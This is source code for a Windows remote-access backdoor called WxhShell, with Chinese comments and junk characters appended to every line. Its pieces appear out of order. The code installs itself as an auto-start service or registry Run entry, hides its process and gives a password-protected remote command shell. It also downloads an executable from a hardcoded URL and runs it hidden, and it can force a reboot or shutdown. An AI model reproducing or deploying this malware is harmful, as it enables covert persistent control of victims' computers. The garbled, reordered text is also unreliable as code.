    if(Boot(SHUTDOWN)) kz/"5gX:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {4$aA*  
    else { DDq?4  
    closesocket(wsh); i-}T t<^  
    ExitThread(0); TILH[r&Jg  
    } JvsL]yRT  
    break; }BUm}.-{u,  
    } RW<10:  
  // 获取shell 4?fpk9c{2  
  case 's': { O I0N(V  
    CmdShell(wsh); 'T|EwrS j  
    closesocket(wsh); !Ln 'Mi_B  
    ExitThread(0); hD[r6c  
    break; AHo}K\O?r  
  } M>Q3;s  
  // 退出 vGnFX0?h  
  case 'x': { 25Ro )5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  0R,.  
    CloseIt(wsh); ["#H/L]3  
    break; X`(fJ',  
    } va:<W H  
  // 离开  )$GCur~  
  case 'q': { Cw"[$E'J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I)kc[/^j$  
    closesocket(wsh); =A*a9c2  
    WSACleanup(); ~.4y* &  
    exit(1); &lgzNC9g%  
    break; }U(bMo@;  
        } 2q(gWhcj  
  } 44s 9\  
  } 8`wKq6  
WD_{bd)  
  // 提示信息 yEos$/*u-N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |~ytAyw  
} dC;&X g`  
  } ts% n tnvI  
&Dt=[yqeG  
  return; m] yUcj{F  
} 4TI`   
U)M&AYb  
// shell模块句柄 *fs[]q'Q  
int CmdShell(SOCKET sock) TNckyP75u  
{ XDAP[V  
STARTUPINFO si; E+|K3EJ  
ZeroMemory(&si,sizeof(si)); DgK*> A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m[%':^vSr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?6\N&MTF  
PROCESS_INFORMATION ProcessInfo; o:&8H>(hn]  
char cmdline[]="cmd"; xkRS?Q g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +p`BoF9~  
  return 0; q{_f"  
} C4qK52'2s  
spTz}p^\O  
// 自身启动模式 +'Y?K]zbt  
int StartFromService(void) 5JEOLPS  
{ 5rfDm  
typedef struct J[05T1  
{ -L4G)%L\  
  DWORD ExitStatus; jo0XF]  
  DWORD PebBaseAddress; LEOri=?RF  
  DWORD AffinityMask; T*gG <8  
  DWORD BasePriority; %t$KVV  
  ULONG UniqueProcessId; 71>,tq  
  ULONG InheritedFromUniqueProcessId; 7_P33l8y  
}   PROCESS_BASIC_INFORMATION; {8qcM8  
1Jdx#K  
PROCNTQSIP NtQueryInformationProcess; >kxRsiKV  
U?d  I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k6J&4?xZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; " dGN0i  
cWG%>.`5r  
  HANDLE             hProcess; mQ<4(qd)  
  PROCESS_BASIC_INFORMATION pbi; #t;]s<  
xMNQT.A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O9zMD8  
  if(NULL == hInst ) return 0; Dn@ZS_f  
!H@HgJ -  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =+UtA f<n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); + kT ]qH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pdR\Ne0P*  
G[JWG  
  if (!NtQueryInformationProcess) return 0; N Uv Vhy]{  
#rF`Hk:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _WvVF*Q"k  
  if(!hProcess) return 0; J}[[tl  
+lfO4^V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z?Ok'LX  
|pv$],&&:  
  CloseHandle(hProcess); gKl9Nkd!R  
Sgv_YoD?-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l*OR{!3H$  
if(hProcess==NULL) return 0; -b{<VrZ  
cD6^7QF  
HMODULE hMod; W7'<Jom|?  
char procName[255]; $'>JG9M  
unsigned long cbNeeded; |U;O HS  
99`w'Nlk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {d*OJ/4  
_Y ;tD  
  CloseHandle(hProcess); 4_iA<}>|  
1<1+nGO  
if(strstr(procName,"services")) return 1; // 以服务启动 GS=E6  
x>B\2;  
  return 0; // 注册表启动 ^\Z+Xq1~/  
} [T,^l#S1  
eUZk|be  
// 主模块 ,mHUo4h1O  
int StartWxhshell(LPSTR lpCmdLine) 8C8S) ;  
{ yyljyE  
  SOCKET wsl; \/<VJB uV  
BOOL val=TRUE; 7I'C'.6iM  
  int port=0; ~  z3J4s  
  struct sockaddr_in door; >W8"Ar  
1P[x.t#  
  if(wscfg.ws_autoins) Install(); ,dTmI{@O  
` 6*]cn#(  
port=atoi(lpCmdLine); lH`TF_  
h2T\%V_j  
if(port<=0) port=wscfg.ws_port; _J!&R:]$  
2aCf?l(  
  WSADATA data; jk&xzJH.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gN />y1{a  
wEM=Tr/h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YPI,u7-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "Kp#Lx  
  door.sin_family = AF_INET; @L~erg>8=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]"HaE-`%  
  door.sin_port = htons(port); !CX WoM  
*!$Z5Im  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a-E}3a  
closesocket(wsl); -$o0P'Vx  
return 1; 7`;f<QNo  
} o ?vGI=  
Ms,MXJtH  
  if(listen(wsl,2) == INVALID_SOCKET) { dt:$:,"   
closesocket(wsl); /P@%{y  
return 1; cZ?$_;=  
} ~`QoBZ.O&  
  Wxhshell(wsl); <fG\J  
  WSACleanup(); rkR5>S( 2M  
D0xQXC3$`  
return 0; qjhV/fsfb  
F/BR#J1  
} '7el`Ff  
jw=PeT|  
// 以NT服务方式启动 GnW MI1$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;j/$%lC  
{ $Y6\m`  
DWORD   status = 0; \H:T)EVy  
  DWORD   specificError = 0xfffffff; CA0XcLiFt  
rX?ZUw?u&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9/{zS3h3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8!Wh`n<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ').) 0;  
  serviceStatus.dwWin32ExitCode     = 0; Rv9jLH  
  serviceStatus.dwServiceSpecificExitCode = 0; 9D1WUUa  
  serviceStatus.dwCheckPoint       = 0; E3O^Tg?j  
  serviceStatus.dwWaitHint       = 0; }|=/v( D  
]5S`y{j1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lJ-PW\P  
  if (hServiceStatusHandle==0) return; XP?jsBE  
0?>(H(D^/  
status = GetLastError(); zq{UkoME  
  if (status!=NO_ERROR) I_v}}h{  
{ &N/t%q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?=M ?v;8  
    serviceStatus.dwCheckPoint       = 0; 4)8VmCW  
    serviceStatus.dwWaitHint       = 0; A)sYde(  
    serviceStatus.dwWin32ExitCode     = status; {m>ylE  
    serviceStatus.dwServiceSpecificExitCode = specificError; kaekH*m~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *C5`LgeX  
    return; IB[$~sGe  
  } Pn">fWRCx  
0dC5 -/+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZAgXz{!H(  
  serviceStatus.dwCheckPoint       = 0; Blzvn19'h  
  serviceStatus.dwWaitHint       = 0; I61S0l z/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vlbZ5  
} E^F<"mL*  
50N4J  
// 处理NT服务事件,比如:启动、停止 -Y/i h(I^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O+=%Mz(l  
{ 4kM/`g6?,q  
switch(fdwControl) !B%em%Tv  
{ 2r!ltG3}  
case SERVICE_CONTROL_STOP: Om0$6O  
  serviceStatus.dwWin32ExitCode = 0; zW%Em81Wd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %DKFF4k  
  serviceStatus.dwCheckPoint   = 0; Yn }Gj'  
  serviceStatus.dwWaitHint     = 0; Re8x!e'>  
  { !Rl|o^Vw>{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D:/ n2_  
  } gfg,V.:  
  return; fx_#3=bXi  
case SERVICE_CONTROL_PAUSE: ,\\ba_*z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~Xxmj!nOf  
  break; #%p44%W  
case SERVICE_CONTROL_CONTINUE: c,2& -T}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Lkm-<  
  break; tf~B,?  
case SERVICE_CONTROL_INTERROGATE: w_56y8Pd4  
  break; Kt_oo[ey{  
}; +r8bGS]ki  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &*<27-x  
} MJ)lZ!KZ  
Ocx"s\q(  
// 标准应用程序主函数 j1K3|E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w'H'o!*/  
{ l:V R8g[  
F(HfXY3  
// 获取操作系统版本 >s{I@#9  
OsIsNt=GetOsVer(); D9oNYF-V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tbRW6  
V|MGG  
  // 从命令行安装 ={:a N)  
  if(strpbrk(lpCmdLine,"iI")) Install(); .Ix3wR9  
X=$Jp.  
  // 下载执行文件 _AX 9 Mu]  
if(wscfg.ws_downexe) { 'V:Q :  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /88s~=  
  WinExec(wscfg.ws_filenam,SW_HIDE); %PYl  
} crM5&L9zF  
@N>7+ 4  
if(!OsIsNt) { yV{B,T`W  
// 如果时win9x,隐藏进程并且设置为注册表启动 PdcIHN  
HideProc(); A#"Wk]jX  
StartWxhshell(lpCmdLine); &$~fz":1!  
} C 5.3[  
else lhN@ ,q  
  if(StartFromService()) V*4Z.3/E5  
  // 以服务方式启动 &F&`y  
  StartServiceCtrlDispatcher(DispatchTable); Ht Fr(g\"$  
else uDDa >Ka#+  
  // 普通方式启动 te+}j7SU  
  StartWxhshell(lpCmdLine); V,&%[H [  
"<ZV'z  
return 0; Y P2VSK2Q  
} C Bkoky 9&  
C& +MRP  
r[L%ap\{  
")|/\ w,  
=========================================== \HeJc:^  
h&<"jCjL  
$xbC^ k  
9pp +<c  
;28d7e}  
*r`=hNr  
" v/`D0g-uX)  
(u,)v_Oo]a  
#include <stdio.h> c?A$Y?|9  
#include <string.h> v"bWVc~H  
#include <windows.h> T`bYidA  
#include <winsock2.h> ,"%C.9a  
#include <winsvc.h> Z,).)y#B  
#include <urlmon.h> Ma^jy.  
_\WR3Q!V  
#pragma comment (lib, "Ws2_32.lib") Dh I{&$O/  
#pragma comment (lib, "urlmon.lib") .G8`Ut Z  
.<hHK|HF  
#define MAX_USER   100 // 最大客户端连接数 O*xx63%jR  
#define BUF_SOCK   200 // sock buffer 7>Z|K  
#define KEY_BUFF   255 // 输入 buffer ')uYI;h9  
&`D$w?beg  
#define REBOOT     0   // 重启 U zy@\  
#define SHUTDOWN   1   // 关机 MKHnA|uQ](  
\<LCp;- K  
#define DEF_PORT   5000 // 监听端口 w$}q`k'  
Nm*(?1  
#define REG_LEN     16   // 注册表键长度 ?XBdBR_"^  
#define SVC_LEN     80   // NT服务名长度 e HphM;C  
!7N:cx'Qy  
// 从dll定义API 11H`WOTQF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L< F8+a7i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E'AR.!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CsO!Y\'FY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y+?QHtZL  
Q"QRF5Ue  
// wxhshell配置信息 E2e"A I.h  
struct WSCFG { %F*9D3^h  
  int ws_port;         // 监听端口 dAI^P/y%  
  char ws_passstr[REG_LEN]; // 口令 e+[*4)Qfy  
  int ws_autoins;       // 安装标记, 1=yes 0=no Xoe|]@U`  
  char ws_regname[REG_LEN]; // 注册表键名 S,&LH-ps   
  char ws_svcname[REG_LEN]; // 服务名 ;wv[';J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )@g[aRFa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &`^(dO9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =^9h z3 j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -^@FZ R^Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y 6a`{'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MP%#)O6  
'n &p5%  
}; `~GXK  
B>2=IZ  
// default Wxhshell configuration ^{Y,`F  
struct WSCFG wscfg={DEF_PORT, */aY $aWv  
    "xuhuanlingzhe", -KiPqE%&G  
    1, ?%O>]s  
    "Wxhshell", +:KZEFY?<  
    "Wxhshell", pzF_g- B  
            "WxhShell Service", {]CZgqE{  
    "Wrsky Windows CmdShell Service", A(y6]E!  
    "Please Input Your Password: ", 6#Vl3o(E|  
  1, N63?4'_W  
  "http://www.wrsky.com/wxhshell.exe", JYdb^j2c  
  "Wxhshell.exe" z|g2Q#$-\S  
    }; 1iT_mtXK$  
\8{SQ%  
// 消息定义模块 ndSu-8?L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iJ>=!Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x;mw?B[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ql?w6qFs]  
char *msg_ws_ext="\n\rExit."; YD4I2'E  
char *msg_ws_end="\n\rQuit."; uLdHE5vr  
char *msg_ws_boot="\n\rReboot..."; ZU\$x<,  
char *msg_ws_poff="\n\rShutdown..."; u Kx:7"KD  
char *msg_ws_down="\n\rSave to "; Wv4$Lgr  
Es=G' au  
char *msg_ws_err="\n\rErr!";  ][ $UN  
char *msg_ws_ok="\n\rOK!"; B:zx 9  
<&eJIz=  
char ExeFile[MAX_PATH]; vn.5X   
int nUser = 0; 6#=Iv X4  
HANDLE handles[MAX_USER]; M"z=114  
int OsIsNt; 1j2U,_-  
xW"O|x$6  
SERVICE_STATUS       serviceStatus; S^s-md>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ar%*NxX  
M6-uTmN:d  
// 函数声明 $QiMA,  
int Install(void); p{E(RsA  
int Uninstall(void); U6JD^G=qR,  
int DownloadFile(char *sURL, SOCKET wsh); U]Q 5};FK  
int Boot(int flag); tB;PGk_6  
void HideProc(void); ^gVQ6=z%  
int GetOsVer(void); XfcYcN  
int Wxhshell(SOCKET wsl); AbNr]w&pXC  
void TalkWithClient(void *cs); w1< pQ[A  
int CmdShell(SOCKET sock); N XB8u6  
int StartFromService(void); )Kx.v'  
int StartWxhshell(LPSTR lpCmdLine); l0&Fm:))k  
k}LIMkEa4a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u6C_*i{2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fw%p_Cm  
C:1(<1K  
// 数据结构和表定义 a`Bp^(f}  
SERVICE_TABLE_ENTRY DispatchTable[] = AO<T6 VK  
{ dV$[O`F* b  
{wscfg.ws_svcname, NTServiceMain}, a"s2N%{  
{NULL, NULL} 091m$~r*  
}; 60{G 4b)  
5Sl"1HL  
// 自我安装 -zECxHj x  
int Install(void) CH7a4qL`  
{ AMrYT+1  
  char svExeFile[MAX_PATH]; PTHxvml  
  HKEY key; cc${[yj)  
  strcpy(svExeFile,ExeFile); \d:Q%S  
.#y#u={{l  
// 如果是win9x系统,修改注册表设为自启动 C b'|  
if(!OsIsNt) { \BBs;z[/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kQI'kL8>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %@QxU-k_  
  RegCloseKey(key); QFTiE1mGH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iv`G}.Bo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }w)}=WmD  
  RegCloseKey(key); gLMb,buqC  
  return 0; WX Fm'5Vr  
    } W~H`{x%Av>  
  } tDETRjTA  
} g_4%M0&AX  
else { k3&68+  
A8ViJ  
// 如果是NT以上系统,安装为系统服务  +At [[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %lbvK^  
if (schSCManager!=0) @ 2hGkJ-  
{ B}qG-}(V  
  SC_HANDLE schService = CreateService jJ"(O-<)D  
  ( rk=/iD  
  schSCManager, !@!603Gy  
  wscfg.ws_svcname, h]@'M1D%  
  wscfg.ws_svcdisp, .XpuD,^;@  
  SERVICE_ALL_ACCESS, Xg.Lo2s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W. d',4)  
  SERVICE_AUTO_START, #Q2s3 "X[  
  SERVICE_ERROR_NORMAL, . LAB8bg  
  svExeFile, i:Y5aZc/Ds  
  NULL, t7-r YY(  
  NULL, ~_BjcY  
  NULL, ?u CL[  
  NULL, fFEB#l!oUb  
  NULL [cDkmRV  
  ); R?{_Q<17  
  if (schService!=0) tF[) Y#  
  { <uU<qO;6  
  CloseServiceHandle(schService); @n qM#  
  CloseServiceHandle(schSCManager); [<r.M<3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i&(1 <S>P  
  strcat(svExeFile,wscfg.ws_svcname); L0VZ>!*o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m p_7$#{l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a2?@OJ  
  RegCloseKey(key); ['>ZC3?"h  
  return 0; !0p K8k&MG  
    } BZLIi O  
  } RaLV@>jPm  
  CloseServiceHandle(schSCManager); ]@y%j'e  
} 3L2NenJB  
} r5[pT(XT]  
8(ZQM01;  
return 1; kjQW9QJ<  
} &qY]W=9uK  
F<h+d917  
// 自我卸载 {$t*XTY6R  
int Uninstall(void) %1 RWF6  
{ [PXq<ST  
  HKEY key; #P!<u Lc%  
Sg%s\p]N_#  
if(!OsIsNt) { ~jJ.E_i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /0>'ZzjV,  
  RegDeleteValue(key,wscfg.ws_regname); _KloX{a  
  RegCloseKey(key); KKQT?/ {b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oFp1QrI3k8  
  RegDeleteValue(key,wscfg.ws_regname); +hKU]DP2;  
  RegCloseKey(key); "Plo[E  
  return 0; ] 0L=+=w  
  } ZweAY.]e  
} IjOBY  
}  &I-T  
else { VZ IY=Q>g  
=x?WZMO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;d>n2  
if (schSCManager!=0) G8'{nPA~  
{ t<c7%i#Od  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ObZhQ.&  
  if (schService!=0) RFsUb:%V7-  
  { x?A<X2  
  if(DeleteService(schService)!=0) { *Dq ++  
  CloseServiceHandle(schService); |) cJ  
  CloseServiceHandle(schSCManager);  7L:Eg  
  return 0; ,_$J-F?  
  } ]}Ys4(}  
  CloseServiceHandle(schService); 7V@r^/`8N  
  } &tbAXU5$  
  CloseServiceHandle(schSCManager); 6n]jx:CZ,  
} 3O 4,LXdA  
} :G98uX t  
Fnk@)1  
return 1; 3 ;"[WOv  
} / j "}e_Q  
[< g9jX5  
// 从指定url下载文件 *[i49X&rd  
int DownloadFile(char *sURL, SOCKET wsh) MrUjqv6a[  
{ =!DX,S7  
  HRESULT hr; [So1`IA6  
char seps[]= "/"; n>,GmCo  
char *token; m<#^c?u  
char *file; atd;)o0*0  
char myURL[MAX_PATH]; ,j{tGj_  
char myFILE[MAX_PATH]; sk07|9nU  
DC_uh  
strcpy(myURL,sURL); `e;r$Vpd_  
  token=strtok(myURL,seps); *otgI"y\  
  while(token!=NULL) H;<>uE Lie  
  { `z q+Xl  
    file=token; z{ M2tLNb  
  token=strtok(NULL,seps); IP{$lC  
  } >h:'Z*9  
<7)sS<I  
GetCurrentDirectory(MAX_PATH,myFILE); H}_R`S  
strcat(myFILE, "\\"); [%yj' )R/  
strcat(myFILE, file); teb(gUy}L6  
  send(wsh,myFILE,strlen(myFILE),0); nVoWER:  
send(wsh,"...",3,0); _pb*kJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "uL~D5!f  
  if(hr==S_OK) 9fs-|E[5  
return 0; Vp1ct06^  
else a6xo U;T  
return 1; C6F7,v62  
:J @3:+sr  
} `#W+pO  
I YtiX  
// 系统电源模块 F#L1~\7  
int Boot(int flag) %2b^t*CQ  
{ )l! /7WKY  
  HANDLE hToken; u^MRKLn  
  TOKEN_PRIVILEGES tkp; 0#=xUk#LP`  
dg~lz80  
  if(OsIsNt) { WC=d @d)M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I0H]s/*C%9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qAd=i0{N  
    tkp.PrivilegeCount = 1; }=\?]9`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \p.yR.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "l-#v| 54  
if(flag==REBOOT) { WcT= 5G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u23_*W\  
  return 0; x'\C'zeF  
} g yV>k=B  
else { 'wYIJK~1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /TPtPq<7:#  
  return 0; N.q*jY= X|  
} k18v{)i~  
  } M:oM(K+  
  else { $kN=45SR  
if(flag==REBOOT) { oj{CNa  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \1<|X].jNY  
  return 0; !"yr;t>|Zb  
} 7T6Zlp  
else { 5y g`TW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $v#`2S(7  
  return 0; &L+.5i  
} G!B:>P|\l  
} BtbU?t  
^$% Sg//  
return 1; )=iv3nF?6N  
} <b *sn] l  
9M($_2,44  
// win9x进程隐藏模块 :2M&C+f[  
void HideProc(void) 'Nt)7U>oC9  
{ bW! &n  
))Z>$\<:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vR!g1gI23  
  if ( hKernel != NULL ) p[xGL } +\  
  { |kvH`&s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L~;(M6Jp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rOE: ap|KL  
    FreeLibrary(hKernel); *k8?$(  
  } 6@8t>"}  
O<V 4j,  
return; %1jcY0zEQ  
} pZ \7!rON  
~ffT}q7^  
// 获取操作系统版本 Q 318a0  
int GetOsVer(void) 3+uL@LXd  
{ (&Lt&i _  
  OSVERSIONINFO winfo; ?$)5NQB%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RzL(Gnb  
  GetVersionEx(&winfo); #z%D d{E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :8oJG8WH  
  return 1; ~AYleM  
  else (?t}S.>g  
  return 0; +e2:?d@  
} 4P1}XYD-2  
KgkRs?'z  
// 客户端句柄模块 N2'aC} I  
int Wxhshell(SOCKET wsl) %>=6v} f,+  
{ P[G>uA>Z1  
  SOCKET wsh; hchG\ i  
  struct sockaddr_in client; m#8[")a$"  
  DWORD myID; vaP`'  
MA:5'n  
  while(nUser<MAX_USER) /; Bmh=  
{ n6WKk+  
  int nSize=sizeof(client); 8aWEl%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h ':ZF  
  if(wsh==INVALID_SOCKET) return 1; lTq"j?#E]m  
e*lL.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M :}u|  
if(handles[nUser]==0) b=/'c Q  
  closesocket(wsh); Wpl/CO5z  
else 4%ooJi|)  
  nUser++; xR3$sA2  
  } Ws`ndR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /qIl)+M  
rq8 d}wj  
  return 0; lcm [l  
} Z#H<+S(  
 =s4(Y  
// 关闭 socket Lm2!<<<  
void CloseIt(SOCKET wsh) jmk Ou5@  
{ /IRXk[  
closesocket(wsh); KB](W  
nUser--; _,T 4DS6  
ExitThread(0); -GCo`PR?b  
} %Rn*oV  
S=mqxIo@m  
// 客户端请求句柄 m!%aB{e  
void TalkWithClient(void *cs) thJ~* 0^  
{ 6u+aP  
I6f/+;E  
  SOCKET wsh=(SOCKET)cs; b),fz  
  char pwd[SVC_LEN]; 3*=0`}jMJ  
  char cmd[KEY_BUFF]; aU_Hl+;  
char chr[1]; LO{Axf%  
int i,j; PZusYeV8b  
*l+Dbm,u  
  while (nUser < MAX_USER) { + tMf&BZ  
\$w kr  
if(wscfg.ws_passstr) { P7.bn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &R%'s1]o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W/ Q*NB  
  //ZeroMemory(pwd,KEY_BUFF); byM-$l  
      i=0; 6qH0]7maI  
  while(i<SVC_LEN) { <R /\nYXz  
>UaQ7CRo  
  // 设置超时 /gZyl|kdy  
  fd_set FdRead; vNv!fkl  
  struct timeval TimeOut; !&rd#ZBn  
  FD_ZERO(&FdRead); =,(TP  
  FD_SET(wsh,&FdRead); MY@&^71i4  
  TimeOut.tv_sec=8; G*@!M%/  
  TimeOut.tv_usec=0; _2!8,MX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VWE>w|'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;[Mvk6^'R  
9KXL6#h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :h{uZ,#Gi  
  pwd=chr[0]; z~ C8JY:  
  if(chr[0]==0xd || chr[0]==0xa) { s;Gd`-S>d  
  pwd=0; ">oySo.B?  
  break; 3O/#^~\'hW  
  } l&qnqmW<  
  i++; y'K2#Y~1e  
    } Z]]Ur  
!,m  
  // 如果是非法用户,关闭 socket gQ>kDl^$Ls  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HYfGu1j?X  
}  m[B#k$  
@vt.Db  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9RJF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h)HEexyRg  
Kgu8E:nL  
while(1) { I x%>aee  
kUf i  
  ZeroMemory(cmd,KEY_BUFF); (aa2uctTn  
{rUg,y{v  
      // 自动支持客户端 telnet标准   @b,Az{EH  
  j=0; 9 %T??-  
  while(j<KEY_BUFF) { "=djo+y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DW. w=L|5R  
  cmd[j]=chr[0]; RSp wU;o6z  
  if(chr[0]==0xa || chr[0]==0xd) { .$18%jH#  
  cmd[j]=0; $8=|<vt  
  break; } a9Ah:.7/  
  } R c+olJ^5  
  j++; T- en|.  
    } ^viabkf C  
_p-e)J$7  
  // 下载文件 r=H?fTY<3E  
  if(strstr(cmd,"http://")) { 0X=F(,>9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6c-/D.M  
  if(DownloadFile(cmd,wsh)) aOwjYl[?p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Oeo"|  
  else =&bI-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); & o5x  
  } X7},|cmD_  
  else { _=Gj J~2n  
$4nAb^/  
    switch(cmd[0]) { : {p'U2  
  d y HC8  
